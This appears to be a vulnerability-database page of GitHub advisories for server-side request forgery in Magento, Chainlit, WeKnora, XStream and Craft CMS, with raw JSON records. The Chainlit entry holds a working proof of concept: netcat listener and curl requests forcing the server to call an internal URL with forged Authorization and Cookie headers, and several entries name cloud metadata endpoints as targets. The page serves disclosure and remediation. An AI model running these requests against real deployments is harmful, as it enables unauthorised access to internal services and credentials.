Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6271 vulnerabilities reference this CWE, most recent first.

GHSA-HVCP-JVX5-4PMP

Vulnerability from github – Published: 2022-05-24 16:52 – Updated: 2023-08-01 23:01
VLAI
Summary
Magento 2 Community Edition SSRF vulnerability
Details

A server-side request forgery (SSRF) vulnerability exists in Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2. This can be exploited by authenticated user with admin privileges to manipulate shipment settings to execute arbitrary code.

Severity
7.2 (High)
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-7923"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-08-01T23:01:37Z",
    "nvd_published_at": "2019-08-02T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "A server-side request forgery (SSRF) vulnerability exists in Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2. This can be exploited by authenticated user with admin privileges to manipulate shipment settings to execute arbitrary code.",
  "id": "GHSA-hvcp-jvx5-4pmp",
  "modified": "2023-08-01T23:01:37Z",
  "published": "2022-05-24T16:52:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7923"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/magento/product-community-edition/CVE-2019-7923.yaml"
    },
    {
      "type": "WEB",
      "url": "https://magento.com/security/patches/magento-2.3.2-2.2.9-and-2.1.18-security-update-13"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20211206084839/https://magento.com/security/patches/magento-2.3.2-2.2.9-and-2.1.18-security-update-13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Magento 2 Community Edition SSRF vulnerability"
}

GHSA-HVFH-5MJ3-5F3J

Vulnerability from github – Published: 2026-08-25 19:21 – Updated: 2026-08-25 19:21
VLAI
Summary
Chainlist has SSRF via MCP SSE and streamable-http transports that allows unauthenticated internal network access
Details

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.

Affected / patched versions
CVE CVE-2026-45019
Affected — URL-based SSRF >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977)
Affected — attacker-controlled header forwarding (amplifies the above) >=2.6.4, <2.12.0 (added in PR #2292)
Patched 2.12.0 (releasing 2026-08-25)

Details

The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server.

The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.

This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).

Vulnerable code: backend/chainlit/server.py — connect_mcp handler Sink: backend/chainlit/server.py — sse_client / streamablehttp_client

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.

  1. Start a listener to capture the server-side request:
nc -l 4445
  1. Establish a Socket.IO session and trigger the SSRF:
EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "ssrf",
    "clientType": "streamable-http",
    "name": "probe",
    "url": "http://127.0.0.1:4445/internal-admin",
    "headers": {
      "Authorization": "Bearer attacker-controlled-token",
      "X-Internal-Secret": "exfiltrated",
      "Cookie": "session=hijacked"
    }
  }'
  1. The listener captures the server-side request with all attacker-controlled headers:
POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked

Impact

High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.

Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue state-changing, authenticated requests to internal APIs: the PoC above is itself a POST carrying a forged Authorization header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:

  • User-provided MCP connections now require explicit opt-in via features.mcp.user_servers.enabled = true, plus a non-empty allowed_urls allowlist. The default is deny-all — no outbound URL is permitted unless explicitly listed.
  • URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with ./.. path segments, encoded separators (%2e, %2f, %5c), double-encoded sequences (%25), backslashes, or non-ASCII characters in the path are rejected.
  • Restricted headers are stripped from user-supplied headers before the request is sent: Cookie, Host, Forwarded, X-Forwarded-*, X-Real-IP, Via, Proxy-Authorization, X-HTTP-Method-Override, X-Original-URL, X-Rewrite-URL, and hop-by-hop headers. Authorization is deliberately still forwarded — for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by allowed_urls.
  • Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and GET /project/settings no longer discloses allowed_urls.

During remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place — they are hardening measures for the new allowlist:

  • HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded follow_redirects=True, so only the first hop of a request would ever have been checked against an allowlist.
  • Every outgoing transport request is now re-checked against the connection's grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server's endpoint event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.

A companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.

Workarounds

If you cannot upgrade immediately:

  • Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018).
  • Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint).
  • Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] / allowed_urls configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

  • On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. Where features.mcp.user_servers.enabled = true, an anonymous client can therefore still drive outbound requests to any URL on the allowed_urls allowlist, with an Authorization header of its own choosing.
  • There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation.
  • Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction.

Credits

Vipin vipin@spl.team SPL security@spl.team

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.11.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "chainlit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0rc0"
            },
            {
              "fixed": "2.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45019"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T19:21:40Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Am I affected?\n\nOnly if your deployment sets `features.mcp.enabled = true` in `.chainlit/config.toml`. **MCP has been disabled by default since v2.7.0**, so most Chainlit deployments are not affected. No authentication is required: `/mcp` is reachable by any client that can open a session.\n\n### Summary\n\nWhen MCP is enabled (`features.mcp.enabled = true`), the `POST /mcp` endpoint for `sse` and `streamable-http` transports accepts a user-controlled `url` and optional `headers` dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs \u2014 including internal network services and cloud metadata endpoints \u2014 with attacker-controlled HTTP headers such as `Authorization` and `Cookie`.\n\n\n### Affected / patched versions\n\n| | |\n|---|---|\n| CVE | CVE-2026-45019 |\n| Affected \u2014 URL-based SSRF | `\u003e=2.4.0rc0, \u003c2.12.0` (sink present since MCP support was introduced, PR #1977) |\n| Affected \u2014 attacker-controlled header forwarding (amplifies the above) | `\u003e=2.6.4, \u003c2.12.0` (added in PR #2292) |\n| Patched | **2.12.0** (releasing 2026-08-25) |\n\n### Details\n\nThe Pydantic request models in `backend/chainlit/types.py` define `url` as a bare `str` with no scheme check, no private IP filtering, and no allowlist. When `clientType` is `\"sse\"` or `\"streamable-http\"`, the handler in `backend/chainlit/server.py` passes the URL and headers directly to the MCP SDK\u0027s `sse_client()` or `streamablehttp_client()`, which make outbound HTTP requests from the server.\n\nThe SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added `streamable-http` support and introduced attacker-controlled `headers` forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like `Authorization` and `Cookie`.\n\nThis is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).\n\n**Vulnerable code:** `backend/chainlit/server.py` \u2014 `connect_mcp` handler\n**Sink:** `backend/chainlit/server.py` \u2014 `sse_client` / `streamablehttp_client`\n\n### PoC\n\nTested against Chainlit 2.11.0 with `features.mcp.enabled = true` and a local TCP listener.\n\n1. Start a listener to capture the server-side request:\n\n```bash\nnc -l 4445\n```\n\n2. Establish a Socket.IO session and trigger the SSRF:\n\n```bash\nEIO_SID=$(curl -s \u0027http://TARGET:8000/ws/socket.io/?EIO=4\u0026transport=polling\u0027 \\\n  | python3 -c \"import sys,json; print(json.loads(sys.stdin.read()[1:])[\u0027sid\u0027])\")\n\ncurl -s -X POST \\\n  \"http://TARGET:8000/ws/socket.io/?EIO=4\u0026transport=polling\u0026sid=$EIO_SID\" \\\n  -d \u002740{\"sessionId\":\"ssrf\",\"userEnv\":\"{}\",\"clientType\":\"webapp\"}\u0027\n\ncurl -s -X POST \u0027http://TARGET:8000/mcp\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"sessionId\": \"ssrf\",\n    \"clientType\": \"streamable-http\",\n    \"name\": \"probe\",\n    \"url\": \"http://127.0.0.1:4445/internal-admin\",\n    \"headers\": {\n      \"Authorization\": \"Bearer attacker-controlled-token\",\n      \"X-Internal-Secret\": \"exfiltrated\",\n      \"Cookie\": \"session=hijacked\"\n    }\n  }\u0027\n```\n\n3. The listener captures the server-side request with all attacker-controlled headers:\n\n```\nPOST /internal-admin HTTP/1.1\nHost: 127.0.0.1:4445\nAuthorization: Bearer attacker-controlled-token\nX-Internal-Secret: exfiltrated\nCookie: session=hijacked\n```\n\n### Impact\n\n**High.** An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.\n\nAlthough this is a blind SSRF \u2014 the response body is never returned to the attacker \u2014 the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue **state-changing, authenticated requests to internal APIs**: the PoC above is itself a POST carrying a forged `Authorization` header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.\n\n### Fix\n\nChainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:\n\n- User-provided MCP connections now require explicit opt-in via `features.mcp.user_servers.enabled = true`, plus a non-empty `allowed_urls` allowlist. The default is deny-all \u2014 no outbound URL is permitted unless explicitly listed.\n- URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with `.`/`..` path segments, encoded separators (`%2e`, `%2f`, `%5c`), double-encoded sequences (`%25`), backslashes, or non-ASCII characters in the path are rejected.\n- Restricted headers are stripped from user-supplied headers before the request is sent: `Cookie`, `Host`, `Forwarded`, `X-Forwarded-*`, `X-Real-IP`, `Via`, `Proxy-Authorization`, `X-HTTP-Method-Override`, `X-Original-URL`, `X-Rewrite-URL`, and hop-by-hop headers. `Authorization` is deliberately still forwarded \u2014 for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by `allowed_urls`.\n- Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and `GET /project/settings` no longer discloses `allowed_urls`.\n\nDuring remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place \u2014 they are hardening measures for the new allowlist:\n\n- HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded `follow_redirects=True`, so only the first hop of a request would ever have been checked against an allowlist.\n- Every outgoing transport request is now re-checked against the connection\u0027s grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server\u0027s `endpoint` event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.\n\nA companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.\n\n### Workarounds\n\nIf you cannot upgrade immediately:\n\n- Set `features.mcp.enabled = false` in `.chainlit/config.toml`. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018).\n- Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint).\n- Configure authentication (register an auth callback) so that `/mcp` requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.\n\n### Upgrading to 2.12.0\n\n\u003e **Breaking change.** 2.12.0 changes how MCP servers are configured. If `.chainlit/config.toml` still uses the legacy `[features.mcp.sse]`, `[features.mcp.stdio]`, or `[features.mcp.streamable-http]` sections, or the `allowed_executables` setting, the application will fail to start **once MCP is enabled**, until you migrate to the new `[[features.mcp.servers]]` / `allowed_urls` configuration. See the migration guide in `CHANGELOG.md` before upgrading. Deployments with `features.mcp.enabled = false` are not affected by this startup check.\n\n### Residual risk after upgrading\n\n- On deployments with no authentication configured, `/mcp` remains reachable anonymously after upgrading, because `get_current_user` returns `None` when no auth callback is registered. Where `features.mcp.user_servers.enabled = true`, an anonymous client can therefore still drive outbound requests to any URL on the `allowed_urls` allowlist, with an `Authorization` header of its own choosing.\n- There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation.\n- Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction.\n\n### Credits\n\nVipin \u003cvipin@spl.team\u003e\nSPL \u003csecurity@spl.team\u003e",
  "id": "GHSA-hvfh-5mj3-5f3j",
  "modified": "2026-08-25T19:21:40Z",
  "published": "2026-08-25T19:21:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Chainlit/chainlit/security/advisories/GHSA-hvfh-5mj3-5f3j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Chainlit/chainlit/commit/0565fd0eccb915fce159929598b053ed79f6e0c9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Chainlit/chainlit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Chainlit/chainlit/blob/2.12.0/docs/security-advisory-2026-mcp.md#spl-2026-002--ssrf-via-mcp-streamable-http--sse"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Chainlit/chainlit/releases/tag/2.12.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Chainlist has SSRF via MCP SSE and streamable-http transports that allows unauthenticated internal network access"
}

GHSA-HVPP-W3X6-M653

Vulnerability from github – Published: 2026-09-15 03:30 – Updated: 2026-09-15 03:30
VLAI
Details

WeKnora before 0.7.0 fails to re-validate HTTP redirect targets in the POST /api/v1/knowledge-bases/:id/knowledge/url endpoint when downloading documents from user-supplied URLs. Authenticated attackers can bypass initial SSRF validation by supplying a public URL that redirects to internal network addresses, allowing access to internal services and cloud metadata.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-91750"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-15T01:16:54Z",
    "severity": "HIGH"
  },
  "details": "WeKnora before 0.7.0 fails to re-validate HTTP redirect targets in the POST /api/v1/knowledge-bases/:id/knowledge/url endpoint when downloading documents from user-supplied URLs. Authenticated attackers can bypass initial SSRF validation by supplying a public URL that redirects to internal network addresses, allowing access to internal services and cloud metadata.",
  "id": "GHSA-hvpp-w3x6-m653",
  "modified": "2026-09-15T03:30:29Z",
  "published": "2026-09-15T03:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91750"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Tencent/WeKnora/issues/2511"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Tencent/WeKnora/commit/1d322c525a6197d24f07555b4b18ad33313b4328"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Tencent/WeKnora"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Tencent/WeKnora/blob/v0.6.2/internal/application/service/knowledge_util.go#L339-L348"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/weknora-before-0.7.0-ssrf-via-unvalidated-http-redirects"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HVV8-336G-RX3M

Vulnerability from github – Published: 2021-03-22 23:28 – Updated: 2023-03-09 21:21
VLAI
Summary
A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host
Details

Impact

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in a server-side forgery request. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

Patches

If you rely on XStream's default blacklist of the Security Framework, you will have to use at least version 1.4.16

Workarounds

See workarounds for the different versions covering all CVEs.

References

See full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for CVE-2021-21342.

Credits

钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.

For more information

If you have any questions or comments about this advisory: * Open an issue in XStream * Contact us at XStream Google Group

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.thoughtworks.xstream:xstream"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-21342"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-22T23:23:33Z",
    "nvd_published_at": "2021-03-23T00:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThe processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed input stream and replace or inject objects, that result in a server-side forgery request. No user is affected, who followed the recommendation to setup XStream\u0027s security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream\u0027s default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream\u0027s documentation for [CVE-2021-21342](https://x-stream.github.io/CVE-2021-21342.html).\n\n### Credits\n\u949f\u6f66\u8d35 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)",
  "id": "GHSA-hvv8-336g-rx3m",
  "modified": "2023-03-09T21:21:55Z",
  "published": "2021-03-22T23:28:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/x-stream/xstream/security/advisories/GHSA-hvv8-336g-rx3m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21342"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/x-stream/xstream"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r8244fd0831db894d5e89911ded9c72196d395a90ae655414d23ed0dd@%3Cusers.activemq.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9ac71b047767205aa22e3a08cb33f3e0586de6b2fac48b425c6e16b0@%3Cdev.jmeter.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/04/msg00002.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/22KVR6B5IZP3BGQ3HPWIO2FWWCKT3DHP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PVPHZA7VW2RRSDCOIPP2W6O5ND254TU7"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QGXIU3YDPG6OGTDHMBLAFN7BPBERXREB"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210430-0002"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-5004"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com//security-alerts/cpujul2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
    },
    {
      "type": "WEB",
      "url": "https://x-stream.github.io/CVE-2021-21342.html"
    },
    {
      "type": "WEB",
      "url": "https://x-stream.github.io/security.html#workaround"
    },
    {
      "type": "WEB",
      "url": "http://x-stream.github.io/changes.html#1.4.16"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host"
}

GHSA-HVVW-H49X-4XMW

Vulnerability from github – Published: 2026-08-11 15:32 – Updated: 2026-08-11 15:32
VLAI
Details

Craft CMS versions >= 5.0.0-RC1 before 5.10.6 and >= 4.0.0-RC1 before 4.18.2 contain a server-side request forgery vulnerability in the GraphQL saveAsset mutation, which fetches an attacker-supplied URL server-side. The anti-SSRF validation is incomplete: validateIp() does not cover CGNAT (100.64.0.0/10) or NAT64 (64:ff9b::/96) ranges, and the only IP check runs after the request has already been issued. An attacker holding a GraphQL token scoped only to asset-creation permissions can disclose internal HTTP content from CGNAT/NAT64 targets, force outbound GET requests to internal hosts (including RFC1918, loopback, and metadata endpoints), and enumerate internal services.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-72784"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T13:19:09Z",
    "severity": "MODERATE"
  },
  "details": "Craft CMS versions \u003e= 5.0.0-RC1 before 5.10.6 and \u003e= 4.0.0-RC1 before 4.18.2 contain a server-side request forgery vulnerability in the GraphQL save\u003cVolume\u003eAsset mutation, which fetches an attacker-supplied URL server-side. The anti-SSRF validation is incomplete: validateIp() does not cover CGNAT (100.64.0.0/10) or NAT64 (64:ff9b::/96) ranges, and the only IP check runs after the request has already been issued. An attacker holding a GraphQL token scoped only to asset-creation permissions can disclose internal HTTP content from CGNAT/NAT64 targets, force outbound GET requests to internal hosts (including RFC1918, loopback, and metadata endpoints), and enumerate internal services.",
  "id": "GHSA-hvvw-h49x-4xmw",
  "modified": "2026-08-11T15:32:39Z",
  "published": "2026-08-11T15:32:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-2mx8-9ww7-p27x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72784"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/craft-cms-rc1-before-ssrf-via-graphql-asset-mutation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-HW2H-QF3M-2R8V

